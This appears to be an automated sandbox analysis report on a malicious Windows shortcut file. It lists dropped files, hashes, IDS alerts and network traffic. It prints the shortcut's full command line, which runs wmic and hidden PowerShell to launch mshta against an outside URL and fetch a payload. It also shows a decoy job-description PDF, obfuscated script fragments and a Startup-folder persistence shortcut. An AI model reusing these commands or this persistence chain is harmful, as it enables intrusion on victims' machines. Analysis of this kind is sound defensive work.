SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_oo0qlpb0.p5i.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wsr2pucg.q5u.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xc4cajzk.fld.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zd5ndduv.ekm.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2024-12-23 02-39-32-768.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.338264912747007
Encrypted:	false
SSDEEP:	384:lH4ZASLaTgKoBKkrNdOZTfUY9/B6u6AJ8dbBNrSVNspYiz5LkiTjgjQLhDydAY8s:kIb
MD5:	128A51060103D95314048C2F32A15C66
SHA1:	EEB64761BE485729CD12BF4FBF7F2A68BA1AD7DB
SHA-256:	601388D70DFB723E560FEA6AE08E5FEE8C1A980DF7DF9B6C10E1EC39705D4713
SHA-512:	55099B6F65D6EF41BC0C077BF810A13BA338C503974B4A5F2AA8EB286E1FCF49DF96318B1DA691296FB71AA8F2A2EA1406C4E86F219B40FB837F2E0BF208E677
Malicious:	false
Preview:	SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.402809835158228
Encrypted:	false
SSDEEP:	192:acb4I3dcbPcbaIO4cbYcbqnIdjcb6acbaIewcbecbYI/hcbV:V3fOCIdJDeb/K
MD5:	15AF3642DFD9EB6C4A95A4EE08DF39BA
SHA1:	A6C26D6A182CA4AF46FAC16B777172D801F06CF9
SHA-256:	AFA04BB4A7127940F96CA48F21A36199507F7F79A46FF764ADAED53B7C2D5348
SHA-512:	CFB9AE9F11BBE8C7E5834ACF0E29356CE55EA7DD4E53B7094197754AD336BFED5CC9F3C5F45FBE5C44E6EEF79D313F1FD1A945060029B052E5A548FE86651DFC
Malicious:	false
Preview:	05-10-2023 08:20:22:.---2---..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:20:22:.Closing File..05-10-

C:\Users\user\AppData\Local\WordGenius Technologies\G

Download File

Process:	C:\Users\Public\Guard.exe
File Type:	ASCII text, with very long lines (1266)
Category:	dropped
Size (bytes):	1241204
Entropy (8bit):	5.143645009876369
Encrypted:	false
SSDEEP:	12288:D8V+jcfSicb4/G10K5F3/nzEGPIWX30KrCIc4S36d6tWRYd1d:DctG4umKX379xdrggeIYZ
MD5:	0252F33BDF3B1C62FAAE9D8A72C51EFA
SHA1:	EE89730257F00DDD7EA00865BB974DAE13AD13A5
SHA-256:	E71627AA277109F05E80805E5B88B4D546018F59EB03B91C5DA7FEE27F654FE3
SHA-512:	0133DDB064E9D39E71B9BD3E0B27A11E20619A9B17F1D18DAA06E052BCB994D86DEEAAF9B37B928D659BE8E10EEB4287BD7E2CBAF5133F2C755CA32006C38C31
Malicious:	false
Preview:	Func NutritionSpeedMayorFamilies($SmKiss, $EfficientlyFormula, $ConsultingSortsLabs, $furtherterrorist, $BIKEOCCURRENCESLIGHT, $ReversePhilippines).$PdBlocksResponseDat = '739119618772'.$VerifiedUnderstoodValidation = 34.$iosymphonyseemscrucial = 50.For $OdHBt = 28 To 865.If $VerifiedUnderstoodValidation = 32 Then.Sqrt(7955).FileExists(Wales("73]113]116]120]125]36]81]36]72]109]119]116]121]120]105]36",12/3)).$VerifiedUnderstoodValidation = $VerifiedUnderstoodValidation + 1.EndIf.If $VerifiedUnderstoodValidation = 33 Then.ConsoleWriteError(Wales("75]106]103]119]122]102]119]126]48]74]125]121]119]102]48",25/5)).DriveStatus(Wales("87]72]79]72]70]82]80]80]88]81]76]70]68]87]76]82]81]86]67]71]72]86]76]85]72]67",6/2)).Dec(Wales("92]77]84]52]70]82]70]95]84]83]72]84]90]80]52]71]90]73]70]85]74]88]89]52]90]83]78]89]88]52",5/1)).$VerifiedUnderstoodValidation = $VerifiedUnderstoodValidation + 1.EndIf.If $VerifiedUnderstoodValidation = 34 Then.$NuttenInvestorsRaleigh = Dec(Wales("104]113]105]86]85]96]

C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js

Download File

Process:	C:\Users\Public\Guard.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	190
Entropy (8bit):	4.702878525317735
Encrypted:	false
SSDEEP:	3:RiMIpGXfeNH5E5wWAX+eLCMuL4EkD5yKXW/Zi+0/RaMl85uWAX+eLCMuL4EkD5yn:RiJbNHCwWDeLPqJkDrXW/Zz0tl8wWDek
MD5:	ADD89CDE8D0D8247BA4058565F6AF1D1
SHA1:	BDE05EE487B598FC744EBE571202C8BDED415560
SHA-256:	49456CC7BEEF073EF45D3F3CA43AFFFB39A1885C386F8C24C29A7F3AA86A19AB
SHA-512:	15E9AB5071BB27D81BC6356AEA39BBD4F07C554E25B1984BE524DDDC86DC861950F5E18237D33A56A2397E30D700BFF22B338CE4F9B596A0F5BDD600A2F6E3DA
Malicious:	true
Preview:	new ActiveXObject("Wscript.Shell").Run("\"C:\\Users\\user\\AppData\\Local\\WordGenius Technologies\\SwiftWrite.pif\" \"C:\\Users\\user\\AppData\\Local\\WordGenius Technologies\\G\"")

C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif

Download File

Process:	C:\Users\Public\Guard.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	893608
Entropy (8bit):	6.62028134425878
Encrypted:	false
SSDEEP:	12288:WpV0etV7qtINsegA/rMyyzlcqakvAfcN9b2MyZa31tqoPTdFbgawV2501:WTxz1JMyyzlohMf1tN70aw8501
MD5:	18CE19B57F43CE0A5AF149C96AECC685
SHA1:	1BD5CA29FC35FC8AC346F23B155337C5B28BBC36
SHA-256:	D8B7C7178FBADBF169294E4F29DCE582F89A5CF372E9DA9215AA082330DC12FD
SHA-512:	A0C58F04DFB49272A2B6F1E8CE3F541A030A6C7A09BB040E660FC4CD9892CA3AC39CF3D6754C125F7CD1987D1FCA01640A153519B4E2EB3E3B4B8C9DC1480558
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R..R..R...C..P.....S.._@..a.._@....._@..g..[j..[..[j..w..R.+.r...........S.._@..S..R...P.....S..RichR.*.........................PE..L...._pZ.........."...............................@.......................................@...@.......@.........................\|.......P....................p...q...;.............................. [..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...P............<..............@..@.reloc...q...p...r..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Job_Description.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.6
Category:	dropped
Size (bytes):	3438614
Entropy (8bit):	7.565365361527372
Encrypted:	false
SSDEEP:	49152:GtZNvjFRGx8mEuSEEBWfJoGnihnR3YSnyYbAYFdhzQCnGkH:GtZJFRGxZEuSEEBE6GkR3YSnyuFsXkH
MD5:	13E442980DFB1FED9EE67DD9CE5C165D
SHA1:	958D4B5F59CF46E817461DD2C67CDE1106FFE508
SHA-256:	3D80994983233EE77AF8200DC292C95D12AD7DF091BB3FB83DA6613CE74D6CCE
SHA-512:	AE9A6CEE5FAC67C3623EC5F51FF053BA47B9B4C0F811FDDA9DF290AF53923F3184771F31E1F62F889164508334E1C44407EBF0DC038FC116C1A7826625E0FE2F
Malicious:	false
Preview:	%PDF-1.6.%.....1 0 obj.<<./Type /Catalog./Version /1.6./Pages 2 0 R.>>.endobj.6 0 obj.<<./Length 526549./Type /XObject./Subtype /Image./Filter /DCTDecode./BitsPerComponent 8./Width 2480./Height 3508./ColorSpace /DeviceRGB.>>.stream.......+Exif..MM.*.............................b...........j.(...........1.........r.2...........i...............-....'..-....'.Adobe Photoshop CS6 (Windows).2024:12:13 16:15:59..................................................................................&.(.........................................H.......H..........Adobe_CM......Adobe.d...................................................................................................................................................q.."................?..........................................................................3......!.1.AQa."q.2.....B#$.R.b34r..C.%.S...cs5....&D.TdE.t6..U.e...u..F'...............Vfv........7GWgw........................5.....!1..AQaq"..2.....B#.R..3$b.r..CS.cs4.%......&5.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	MS Windows 95 Internet shortcut text (URL=<"C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" >), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	101
Entropy (8bit):	4.882484479599994
Encrypted:	false
SSDEEP:	3:HRAbABGQaFyw3pYoN+E2J5yKXW/Zi+URAAy:HRYF5yjoN723yKXW/Zzyy
MD5:	E13AD229D874CB584EE9C5EAF00F02A5
SHA1:	99EFF6F0EFC61DCFDD83E19A7A88355E8D82BF77
SHA-256:	7448CB3A6A286F6BDF4F036DEAB44060B5E1E17368D2E1C560CCA5EEFEF342A1
SHA-512:	DB00B1447019348D5D90A1BD0A5E30FF60D0ED92E3308418B659D7B8B5796A04D4CF371D6824574E84F1ACB8D1CFC193E4B7F8EC3EE93862FF6F4C01012BD801
Malicious:	true
Preview:	[InternetShortcut] ..URL="C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" ..

C:\Users\user\AppData\Roaming\dqcwif.exe

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1083904
Entropy (8bit):	6.306322475397739
Encrypted:	false
SSDEEP:	24576:xrORE29TTVx8aBRd1h1orq+GWE0Jc5bDTj1Vyv9Tvan1b:x2EYTb8atv1orq+pEiSDTj1VyvBa1
MD5:	302EA0EBB32FF34A46D6B6DF1E66F9FE
SHA1:	C2B94B103DD7595B3579C3170A902E72F7C1B310
SHA-256:	105B0AF8E2726AD7D910B1AC49B918EE57B3B4BB4F66DCCE4802EAC95F5D8E07
SHA-512:	9ACDBA741DBC6650014305EFFFB214CC5E7D0D18F11373A8147F4DD98249BCF3E1EE5B19541C3B079414C635674F5315EEE881B2BE0D0D2C05BA39ACD9D0AF73
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 65%
Preview:	MZ......................@...................................0...........!..L.!This program cannot be run in DOS mode....$.......o1).+PG.+PG.+PG....>PG.....PG.....PG.....PG.y8B..PG.y8C.:PG.y8D.#PG."(.#PG."(..PG."(..PG.+PF..RG..9I.{PG..9D.PG..9..PG.+P.PG..9E.PG.Rich+PG.........................PE..d...<._g.........."......4...R.......T.........@.....................................o....`...@...............@..............................\..\|........@...@..Ho..............t...Pp..........................(...pp...............P..8............................text...(3.......4.................. ..`.rdata...B...P...D...8..............@..@.data... ........P...\|..............@....pdata..Ho...@...p..................@..@.rsrc....@.......B...<..............@..@.reloc..t............~..............@..B................................................................................................................................................................................................

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

\Device\ConDrv

Download File

Process:	C:\Windows\System32\wbem\WMIC.exe
File Type:	ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	160
Entropy (8bit):	5.095703110114614
Encrypted:	false
SSDEEP:	3:YwM2FgCKGWMRX1eRHXWXKSovrj4WA3iygK5k3koZ3Pveys1MgnRUHOAFJQAiveyn:Yw7gJGWMXJXKSOdYiygKkXe/egy9eAin
MD5:	5565F108385973B28C33BBB1C04F9FAA
SHA1:	1DF0A562B892A5AF8B803D339EA22D6DB250B2DF
SHA-256:	85F986844CF6DFEDD175C15DADDF2D2F727071FF7ED835F850874BF4B2E032F3
SHA-512:	9D99F4F848AD495242BFF3AA34E82BE4F54FEF2CC408039B060D3D677545F037AD75D81CBB1245395B6BBB7361889C58B043C4EC64DCFD487AAFF8BC57C2D83B
Malicious:	false
Preview:	Executing (Win32_Process)->Create()...Method execution successful....Out Parameters:..instance of __PARAMETERS..{...ProcessId = 5412;...ReturnValue = 0;..};....

Static File Info

General

File type:	MS Windows shortcut, Item id list present, Has Relative path, Has command line arguments, Icon number=1, ctime=Sun Dec 31 23:25:52 1600, mtime=Sun Dec 31 23:25:52 1600, atime=Sun Dec 31 23:25:52 1600, length=0, window=hidenormalshowminimized
Entropy (8bit):	3.3667104731332596
TrID:	Windows Shortcut (20020/1) 100.00%
File name:	7A2lfjTYNf.lnk
File size:	1'030 bytes
MD5:	767810929a7b0dddecaad84a15aed733
SHA1:	529f0a59889968b60a992452e3d3bd876a7a02bc
SHA256:	295fae2f581e04308ae737dd0ee934da80099da2d9b3e90d7d907a57265b2a91
SHA512:	bdd82a66fdbf572802c75ac7eec16f1f707d7177f7013f4aeddaf8bfd442f06b01959ca3858c39b9122b7f48a2cba0354c8274f76fb05bf174cd0c214262a132
SSDEEP:	24:8b/BUlgKN4ee+/3HkWNdk6Zoc6wObGarabqyI+pu:8ruGepHldkU6xK4aey3w
TLSH:	0B112D081AD54F20E676CE356879B311863A3C4AEDB34F1D018086892535510B865F2F
File Content Preview:	L..................F.............................................................P.O. .:i.....+00.../C:\...................V.1...........Windows.@.............................................W.i.n.d.o.w.s.....Z.1...........System32..B.....................

File Icon


Icon Hash:	74f4d4dcdcc9e1ed

Static Windows Shortcut Info

General
Relative Path:	..\..\..\..\Windows\System32\Wbem\wmic.exe
Command Line Argument:	process call create "powershell -w 1 powershell -Command ('ms' + 'hta' + '.exe ' + 'https://tiffany-careers.com/ghepduy1325')"
Icon location:	shell32.dll

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-23T08:39:19.508617+0100	2026434	ET MALWARE VBScript Redirect Style Exe File Download	1	147.45.49.155	443	192.168.2.6	49719	TCP
2024-12-23T08:39:33.055367+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49762	147.45.49.155	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 23, 2024 08:39:16.950345039 CET	49719	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:16.950380087 CET	443	49719	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:16.950557947 CET	49719	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:16.966376066 CET	49719	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:16.966387987 CET	443	49719	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:18.486840010 CET	443	49719	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:18.486936092 CET	49719	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:18.539889097 CET	49719	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:18.539911032 CET	443	49719	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:18.540236950 CET	443	49719	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:18.540299892 CET	49719	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:18.542596102 CET	49719	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:18.583357096 CET	443	49719	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:19.094579935 CET	443	49719	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:19.094650984 CET	49719	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:19.286380053 CET	443	49719	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:19.286393881 CET	443	49719	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:19.286444902 CET	443	49719	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:19.286462069 CET	49719	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:19.286483049 CET	443	49719	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:19.286520958 CET	49719	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:19.286545992 CET	49719	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:19.337564945 CET	443	49719	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:19.337593079 CET	443	49719	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:19.337651968 CET	49719	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:19.337665081 CET	443	49719	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:19.337728977 CET	49719	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:19.480526924 CET	443	49719	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:19.480567932 CET	443	49719	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:19.480612040 CET	49719	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:19.480634928 CET	443	49719	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:19.480691910 CET	49719	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:19.480717897 CET	49719	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:19.508641958 CET	443	49719	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:19.508663893 CET	443	49719	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:19.508744001 CET	49719	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:19.508753061 CET	443	49719	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:19.508806944 CET	49719	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:19.533058882 CET	443	49719	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:19.533081055 CET	443	49719	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:19.533144951 CET	49719	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:19.533154011 CET	443	49719	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:19.533200979 CET	49719	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:19.557142019 CET	443	49719	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:19.557162046 CET	443	49719	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:19.557238102 CET	49719	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:19.557245970 CET	443	49719	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:19.557308912 CET	49719	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:19.676650047 CET	443	49719	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:19.676673889 CET	443	49719	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:19.676732063 CET	49719	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:19.676748037 CET	443	49719	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:19.676798105 CET	49719	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:19.693361044 CET	443	49719	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:19.693382025 CET	443	49719	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:19.693444014 CET	49719	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:19.693464994 CET	443	49719	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:19.693491936 CET	49719	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:19.693527937 CET	49719	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:19.711158991 CET	443	49719	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:19.711179972 CET	443	49719	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:19.711250067 CET	49719	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:19.711266994 CET	443	49719	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:19.711329937 CET	49719	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:19.724633932 CET	443	49719	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:19.724698067 CET	443	49719	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:19.724734068 CET	49719	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:19.724747896 CET	443	49719	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:19.724793911 CET	49719	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:19.724821091 CET	49719	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:19.736788034 CET	443	49719	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:19.736807108 CET	443	49719	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:19.736881971 CET	49719	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:19.736895084 CET	443	49719	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:19.736947060 CET	49719	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:19.827541113 CET	443	49719	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:19.827569962 CET	443	49719	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:19.828042030 CET	49719	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:19.828058958 CET	443	49719	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:19.828125000 CET	49719	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:19.868525982 CET	443	49719	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:19.868550062 CET	443	49719	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:19.868628025 CET	49719	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:19.868638992 CET	443	49719	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:19.868695021 CET	49719	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:19.878160000 CET	443	49719	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:19.878177881 CET	443	49719	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:19.878266096 CET	49719	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:19.878274918 CET	443	49719	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:19.878312111 CET	49719	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:19.878520012 CET	49719	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:19.886571884 CET	443	49719	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:19.886589050 CET	443	49719	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:19.886826992 CET	49719	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:19.886835098 CET	443	49719	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:19.886904955 CET	49719	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:19.896233082 CET	443	49719	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:19.896253109 CET	443	49719	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:19.896363974 CET	49719	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:19.896373034 CET	443	49719	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:19.896486044 CET	49719	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:19.905498028 CET	443	49719	147.45.49.155	192.168.2.6
